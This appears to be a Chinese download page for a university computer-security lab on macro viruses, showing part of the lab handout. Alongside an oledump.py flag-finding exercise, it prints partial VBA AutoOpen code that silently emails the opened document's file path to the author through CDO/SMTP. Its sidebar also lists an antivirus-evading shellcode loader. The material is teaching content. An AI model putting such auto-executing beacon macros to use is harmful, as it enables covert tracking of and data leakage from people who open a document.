首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

计算机安全Ⅰ实验:利用 oledump.py 分析工具提取宏代码夺旗

安全技术 2.44MB 13 需要积分: 1
立即下载

资源介绍:

华南理工大学李家春老师的计算机安全Ⅰ选修课实验。目的:利用 oledump.py 分析工具提取文档中的宏代码,通过分析完成flag的查找。 有操作文档,完整的实验报告,oledump.py等工具文件。
实验三 宏病毒
1.包含两个实验:
1利用 oledump.py 分析工具提取文档中的宏代码,通过分析完成 flag 的查找。
2)制作一个 Word 文档发送给另外一个同学,当对方打开该文档时,会自动给
你发一封电子邮件,你可以知道该文档在对方电脑存储的具体路径。可使用微软
CDO 组件。
2.挑战题:远程模板攻击
实验3.1 夺旗
1. 实验描述
利用 oledump.py 分析工具提取文档中的宏代码,通过分析完成 flag 的查找。
2. 实验目的
1)了解宏代码的编写
2 熟悉 oledump 使用
3)了解 flag 的查找流程
3. 实验工具
Python, Oledump.pyolefile, SS-Macro1.doc
环境描述
Windows 环境office word
4. 实验步骤:请用自己的截图替换说明文档中的截图,不允许 copy 本文档中的截图!
1打开 CMD,使用命令 python oledump.py 件名,查看文件流信息。
下图中的 M 表示该段中有宏代码。
如果没有 olefile通过 pip 下载即可。
2python oledump.py -s A3 -v SS-Macro1.doc >1.txt 可以将 A3 段中的宏代码提取到 1.txt
中,再进行查看
利用相同方式将其他几段的宏代码提取出来。
3打开 txt 文件,寻找 flag
4)对 5Y2a5a2m5oWO5oCd5piO6L6o56yD6KGM 进行解码器解码。
解码网址:https://tool.oschina.net/encrypt?type=3
实验3.2 VBA+CDO 发送邮件
1. 实验描述
通过对 VBA+CDO 的使用,成功自动发送一封电子邮件
2. 实验目的
1)掌握通过微软的 CDO 组件的使用方法
2)能够成功自动发送一封电子邮件
3. 实验工具
word2016
环境描述
Win10
4. 实验步骤:请用自己的截图替换说明文档中的截图,不允 copy 本文档中的截图!
1)新建一个 word 文档,以用于实验。首先检查其宏设置,并启用宏。一般在文件->选项,
然后找到信任中->信任中心设置。
2在工具栏找到宏,不同版本 word 可能位置不同,单击宏弹出窗口。最后点击创建
弹出新的窗口。注意宏的位置选择当前文档,避免对其他文档也进行宏插入。
C:\Users\**\AppData\Roaming\Microsoft\Templates 下将 Normal.dotm 进行删
3在弹出的窗口写以下代码(红色为需要修改或注意的地方)SMTP 服务中继端口一般为
25,对于 QQ SMTP 发送邮件服务器为 smtp.qq.com,发送端口为 465 587
Sub AutoOpen()
'Dim myEmail As New CDO.Message
Set myEmail = CreateObject("CDO.Message") ' 创建对象 '
C:\Windows\system32\cdosys.dll
myEmail.From = "booven0528@163.com" '置发信人的邮箱"
myEmail.To = "1850531355@qq.com" '设置收信人的邮箱
myEmail.Subject = "返回试验" '设定邮件的主
myEmail.Textbody = ActiveDocument.FullName '得到 word 文档的路径
'cm.HTMLBody = "邮件发送试验^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^" '使用 html 格式发
送邮件
stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
With myEmail.Configuration.Fields
.Item(stUl & "smtpserver") = "smtp.163.com" 'SMTP 服务器地址
.Item(stUl & "smtpserverport") = 25 'SMTP 服务器端口 126163 25

资源文件列表:

实验3.1-夺旗.zip 大约有3个文件
  1. SS-Macro1.doc 20.84KB
  2. 实验3 宏病毒实验更新版.pdf 1.59MB
  3. 实验3.1.doc 1.11MB
0评论
提交 加载更多评论
其他资源 计算机安全Ⅰ实验报告3.2:VBA+CDO发送邮件
华南理工大学李家春老师的计算机安全Ⅰ选修课,目的“通过对VBA+CDO的使用,成功自动发送一封电子邮件”。 包含操作文档,完整的实验报告和相关文件
qtmgtt-5.14.2源码
qtmgtt-5.14.2源码
参考zh.hans ERouting-sLM-v40.pdf 中实验教程,免费无需多言
参考zh.hans ERouting-sLM-v40.pdf 中实验教程,免费无需多言
参考zh.hans ERouting-sLM-v40.pdf 中实验教程,免费无需多言 参考zh.hans ERouting-sLM-v40.pdf 中实验教程,免费无需多言
ShellCode-Loader - Msf&CobaltStrike免杀ShellCode加载器
转载至GitHub网站https://github.com/Axx8/ShellCode_Loader?tab=readme-ov-file,为不方便去github的朋友提供便利
李涛第5次作业.zip
李涛第5次作业.zip
【微信小程序源码期末大作业毕业设计】仿ofo共享单车小程序-小程序项目源码.zip
微信小程序源码期末大作业毕业设计之仿ofo共享单车小程序源码
【微信小程序源码期末大作业毕业设计】仿美团外卖小程序-小程序项目源码.zip
微信小程序源码期末大作业毕业设计之仿美团外卖小程序源码!!!
(源码)基于Linux系统编程手册的时间与文件操作项目.zip
# 基于Linux系统编程手册的时间与文件操作项目 ## 项目简介 本项目是基于《LinuxUnix 系统编程手册》的学习笔记,专注于时间处理和文件操作的实现。项目涵盖了多个章节的内容,通过实际代码演示了如何在Linux环境下进行时间获取、格式化、进程时间统计以及文件的读写、复制、定位等操作。 ## 项目的主要特性和功能 1. 时间处理 获取当前时间并展示tm结构体的内容。 获取当前时间戳并转换为本地时间。 显示进程的时间信息,包括用户态和内核态的CPU使用时间。 将时间戳转换为本地时间和格林威治标准时间(GMT),并展示两者之间的差异。 2. 文件操作 文件的读写操作,包括使用read()和write()函数。 文件的复制操作,实现从一个文件到另一个文件的内容复制。 文件的定位操作,使用lseek()函数进行文件指针的移动。